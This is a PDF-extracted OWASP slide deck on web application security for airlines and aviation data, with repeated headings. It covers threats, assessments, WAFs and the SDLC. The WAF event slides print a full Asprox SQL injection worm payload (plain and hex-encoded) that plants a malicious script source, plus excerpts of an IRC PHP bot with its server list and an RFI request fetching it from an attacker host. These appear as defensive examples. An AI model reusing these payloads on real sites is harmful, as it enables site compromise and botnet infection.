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I ntroductionI ntroduction

My career in the aviation industry:

United States Army Avionics (6yrs)
Radio and Navigational equipment
Flight Controls and Stabilization (Attack Helicopters)Flight Controls and Stabilization (Attack Helicopters)

Continental Airlines (8 yrs)
Internet Engineer (e-Commerce)Internet Engineer (e-Commerce)
Sr. Manager, Information Security

Universal Weather and Aviation, Inc. (3 yrs)
Information Security ManagerInformation Security Manager
CISSP and Certified Ethical Hacker
OWASP and ISSA member
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Passenger Data at RiskPassenger Data at Risk

Reservations Reservations 

Flight Bookings, Check-in, Hotels, Car rentals

Travel I nformation  Travel I nformation  

Flight Status, Baggage, Airport I nformation, Route Maps

Passenger Profiles

Frequent Flyer Miles, Flight History, Personal data
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Aviation Data at RiskAviation Data at Risk

Aircraft Data

Unique Tail Numbers and RoutesUnique Tail Numbers and Routes

Aircraft Size, Weight, Insurance, Flight Permits, Fuel

Real-time locations Radar, Doppler, Satellite Real-time locations Radar, Doppler, Satellite 
http://www.passur.com/airportmonitor-locations.htm

Pilot and Crew Records

Pilot License, Passports, Training Records, Crew Accommodations

Weather DataWeather Data

Wind Speeds, Wind Direction, Barometric Pressure

Severe Weather Hurricanes, Thunder Storms, Lighting Strike Data

OWASP
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Where does your info go?
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and where else does your info go?
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Flight Plan: Web Security Flight Plan: Web Security 

Threat 
Awareness

Web 
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Analysis
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Compliance

Deploy 
Solutions

WHAT are we doing wrong?

Protecting Information

IT  Education & Training 
-Web App Developers
- QA Team
- Security Staff

Gain High level buy-in
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Manipulate
URL

ParametersParameters

Exploit
Links 
XSS

SQL Inject
into User 

Inputs 

Send 
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True? False? or Worst?True? False? or Worst?

75% of all attacks on Information Security are 

directed to the Web Applicat ion Layerdirected to the Web Applicat ion Layer

Gartner Research, 2005

OWASP
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SQL I njection AttackSQL I njection Attack

Airline
Database

Airline 
Web ApplicationWeb Application

Attacker SELECT * FROM users WHERE username = ' ' or 1=1 

OWASP

Source: Victor Chapela
Sm4rt Security Services



SQL I njection SQL I njection Attack: SuccessfulAttack: Successful

Airline 
Web Application

Airline
Database

Keep in mind

Attacker

Keep in mind
The injection will be executed on a backend server
The DB server may not even have Internet access

OWASP

Source: Victor Chapela
Sm4rt Security Services



Cross Site Scripting (XSS) Attack

Username= G_Lucky

Attacker

Username= G_Lucky
Password= demo1234
Session cookie = ACDE45

Applications

Firewall

Victim
G_Lucky

Your Airline is now offering 

OWASP

Your Airline is now offering 
Free Flights.  Click Here to get 
yours.

Source: John Kindervag
www.Vigilar.com

http://www.Vigilar.com


Flight Plan: Web Security Flight Plan: Web Security 

Threat 
Awareness

Design & Gap 
Analysis

SDLC &
Compliance

Deploy 
Solutions

Web 
Assessments

WHAT are we doing wrong?

Protecting Information

WHERE are we vulnerable?
Hire SME s to assess web

Examine Findings and 

IT  Education & Training 
-Web App Developers
- QA Team
- Security Staff

Examine Findings and 
attempt to exploit 

Determine risk of potential 
data leakage 

Gain High level buy-in Document Code Issues
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Web Application VulnerabilitiesWeb Application Vulnerabilities

Translate findings to Business Risk/ I mpact 

Demonstrate the type of vulnerabilities an Attacker might findDemonstrate the type of vulnerabilities an Attacker might find

Demonstrate how the Attacker will be able to manipulate online 
applications to: (gain access, increase flyer miles, book flight, steal credit 
card data, download sensitive passenger data, manipulate weather 
applications to: (gain access, increase flyer miles, book flight, steal credit 
card data, download sensitive passenger data, manipulate weather 
information)

Customer Data Risk spy on passengers whereabouts, passenger recordsCustomer Data Risk spy on passengers whereabouts, passenger records

Operational Data Risk industry contacts, intercept/inject ground-to-air-
communications, alter weather information, forge aircraft records, all 
information related to operations information related to operations 

Financial Data Risk Invoices, Credit Collections, Revenue statistics
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Flight Plan: Web Security Flight Plan: Web Security 

Threat 
Awareness

Web 
Assessments

Design & Gap 
Analysis

SDLC &
Compliance

Deploy 
Solutions

WHAT are we doing wrong?

Protecting Information

WHERE are we vulnerable?
Hire SME s to assess web

HOW do we fix?
Improve Architecture

Perform Automated Protecting Information

IT  Education & Training 
-Web App Developers
- QA Team
- Security Staff

Examine Findings and 
attempt to exploit 

Determine risk of potential 
data leakage. 

Perform Automated 
Web Application 
Scanning

Deploy Web App 
Firewall

Gain High level buy-in Document Code Issues
Firewall

Fix the Code!
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Web Application ScanningWeb Application Scanning

Web Application Scanning Impact
Might slow production website
Antivirus might detect malicious HTTP requestsAntivirus might detect malicious HTTP requests

Summary of Findings
# of URLs were scanned
% of URLs vulnerable not vulnerable% of URLs vulnerable not vulnerable
Making sense of the scan results
Critical vs. Informational

OWASP-based FindingsOWASP-based Findings
SQL Injection
Cross-site Scripting
Broken Access ControlsBroken Access Controls
Command Injection Flaws
Use of Weak SSL protocols
Latest patches or hot fixes not installed
Default vulnerable scripts installed

OWASP

Default vulnerable scripts installed
Predictable Resource Locations



Web Application FirewallsWeb Application Firewalls

WAFs show application flaws too!

Web App Firewall featuresWeb App Firewall features
Analyze HTTP Request and Response
Custom Signatures
Inspect Parameters

Web App Firewall deployments
In-line vs. Out-of-line
Monitor mode vs. Blocking modeMonitor mode vs. Blocking mode
Support SSL, Citrix, Load Balancer?

Web App Firewall findings
Details of the EventsDetails of the Events
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Web Application Firewall EventsWeb Application Firewall Events

Asprox SQL Injection Worm
DECLARE @S CHAR(@SET @S=ÊST(0xDECLARE @T varchar(255),@C 
varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from 
sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or 
b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  
Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update 
['+@T+'] set ['+@C+']=''"></title><script 
src="http://www0.SomeBadSite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' 
not like ''%"></title><script src="http://www0.BadSite.cn/csrss/w.js"></script><!--
''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor AS CHAR(@));EXì(@S);

ASCII HEX Encoded/Binary String Automated SQL Injection Attack
GET 

DEALLOCATE Table_Cursor AS CHAR(@));EXì(@S);
Read This: Anatomy of the Asprox Botnet

GET 
CrappyAirlines/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029204445434C41524520546162
6C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6
52066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E6
9643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7
220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363
6C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F6
3737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E45585420465
24F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054616
26C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(
4000));EXEC(@S); HTTP/1.1

OWASP
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Web Application Firewall EventsWeb Application Firewall Events
<?php 
define('Fx29ver',"FeeLCoMz Fx29PHPBot v1.70"); 
define('TEZ', 0);

 
define('TEZ', 0);

 
define('BROZ', 0); 
define('PRE','.'); 
fx29bot_start(" 

######################################### 
##[ FeeLCoMz Fx29PHPBot v1.70         ]## 
##[ By FaTaLisTiCz_Fx                 ]## 
##[ (c)08-09 2008, FeeLCoMz Community ]## 
##[ #CyBeRz@allnetwork.org            ]## 
#########################################"); 
fx29bot_init(); 
proz("Initializing variables.."); 

  

###################### 
##[ CONFIGURATIONS ]## 
###################### 
$admin   = "RoNz"; 
$pass    = ""; 
$md5pass = "74b1d0cbf459a2cc0d37b371792de795"; 
$chans   = "#CyBeRz,#Fx29"; 
$names   = "  

..CUT HERE  ..  

$links = array( 
  1 => array( 
  "irc.indika.net.id", "irc.malangkota.go.id", "irc.elnus.net.id:6668", 
  "genesis.kalpin.us:2525", "irc.velo.net.id", "irc.cbn.net.id", 
  "irc.indo.net.id", "irc.punc4k.com", "irc.circleone.net.id", 
  "irc.adsnet.co.id", "irc.uii.net.id", "irc.indoforum.org", 
  "irc.hotspeed.com.sg", "irc.citra.net.id", 
"jmn.id.allnetwork.org:7600",   

"dustshell.us.allnetwork.org", "irc.indotransdata.net", 
"wanxp.id.allnetwork.org", 
  ), 
  2 => array( 
  "irc.indoirc.net", "romania.indoirc.net", "master.indoirc.net", 
  "espro.indoirc.net", "irc.mojok.org", 

Remote File Inclusion (RFI)

GET /mydocs/pdf/docs.php?grabfile=0).include($_GET[file]).(0&file=http://www.HackerOwnedSite.com/ fx29bot.txt

  "espro.indoirc.net", "irc.mojok.org", 
"start.indoirc.net","irc.master.fm", 
  "starshells.indoirc.net", "irc.ipv6.indoirc.net", 
"jakarta.indoirc.net", 
  "irc.amstronk.net","rosebanditz.indoirc.net", "ponorogo.indoirc.net", 
  ), 
  3 => array( 
  "koreandigital.com:2900", 
  ), 
  "fx29id"  => "http://pupa.thteen.com/readme.txt?", 
  "fx29bot" => "http://uaedesign.com/xml/botz/fx29bot.txt?", 

GET /mydocs/pdf/docs.php?grabfile=0).include($_GET[file]).(0&file=http://www.HackerOwnedSite.com/ fx29bot.txt
HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.YourSite.com
User-Agent: libwww-perl/5.805

OWASP

User-Agent: libwww-perl/5.805
));EXEC(@S); HTTP/1.1

http://www.HackerOwnedSite.com/
http://pupa.thteen.com/readme.txt?"
http://uaedesign.com/xml/botz/fx29bot.txt?"
http://www.HackerOwnedSite.com/
http://www.YourSite.com


Flight Plan: Web Security Flight Plan: Web Security 

Threat 
Awareness

Web 
Assessments

Design & Gap 
Analysis

Deploy 
Solutions

SDLC &
Compliance

WHAT are we doing wrong?

Protecting Information

WHERE are we vulnerable?
Hire SME s to assess web

HOW do we fix?
Improve Architecture

WHEN do we address?

Insert Security into SDLC
- Planning Phase

Protecting Information

IT  Education & Training 
-Web App Developers
- QA Team
- Security Staff

Examine Findings and attempt 
to exploit 

Determine risk of potential data 
leakage. 

Perform Automated Web 
Application Scanning

Deploy Web App Firewall

Fix the Code!

- Planning Phase
- Designing Phase
- Execution Phase

Review all Code Changes

Gain High level buy-in Document Code Issues
Fix the Code!

Review all Code Changes

Measure Compliance
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Aviation Aviation Data Security RequirementsData Security Requirements

FAA Regulatory and Guidance Library (FAA Site)FAA Regulatory and Guidance Library (FAA Site)

Qualified I nformation Communication Provider(QI CP)

Aircraft Situational Display to I ndustry (ASDI )Aircraft Situational Display to I ndustry (ASDI )

Homeland Security Critical I nfrastructure Protection
Critical Infrastructure Information Act of 2002
Procedures for Handling Protected Critical Infrastructure 
Information

PCI Data Security Standard (PCI )PCI Data Security Standard (PCI )
Local/ I nternational Privacy Directives

OWASP



Web Security Flight Plan RevisitedWeb Security Flight Plan Revisited

SolutionsChallenges

Threat Awareness

Security Assessments

Empower Teams with 
Training & Tools

Automated Scanning and Security Assessments

Deploy Solutions

Automated Scanning and 
Source Code Analysis

Fix the Code!Deploy Solutions

Checks and Balances

Web Scanners & Firewalls

Establish Strict Software 
Development Lifecycle

Compliance

Checks and Balances

Measure & Meet 
Required Controls

Development Lifecycle

OWASP
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